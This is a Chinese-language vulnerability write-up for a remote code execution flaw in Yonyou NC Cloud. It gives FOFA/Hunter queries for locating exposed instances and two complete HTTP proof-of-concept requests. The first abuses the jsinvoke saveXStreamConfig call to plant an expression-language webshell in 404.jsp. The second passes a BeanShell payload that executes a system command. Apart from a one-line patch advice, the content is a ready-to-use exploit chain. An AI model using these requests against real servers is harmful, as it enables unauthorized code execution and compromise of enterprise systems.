用友-NC-Cloud远程代码执行

0x01漏洞介绍

用友NC Cloud大型企业数字化平台，深度应用新一代数字智能技术，完全基于云原生架构，打造开放、互联、融合、智能的一体化云平台，聚焦数智化管理、数智化经营、数智化商业等三大企业数智化转型战略方向，提供涵盖数字营销、财务共享、全球司库、智能制造、敏捷供应链、人才管理、智慧协同等18大解决方案，帮助大型企业全面落地数智化。 该远程代码执行漏洞可以通过特定接口上传文件，通过上传的webshell执行命令，目前全版本通杀

0x02资产测绘

FOFA:app="用友-NC-Cloud"Hunter：web.body="uap/rbac"

0x03漏洞复现

Poc1 上传木马

POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cookiets=1681785470496; JSESSIONID=33989F450B1EA57D4D3ED07A343770FF.server
If-None-Match: W/"1571-1589211696000"
If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 247

{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]}

Poc2 执行命令

POST /404.jsp?error=bsh.Interpreter HTTP/1.1
Host: ip:prot
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cookiets=1681785470496; JSESSIONID=33989F450B1EA57D4D3ED07A343770FF.server
If-None-Match: W/"1571-1589211696000"
If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 96

cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream())

1.官方已经发布修复补丁，请进行升级。 2.或者进行waf等安全部署拦截恶意字符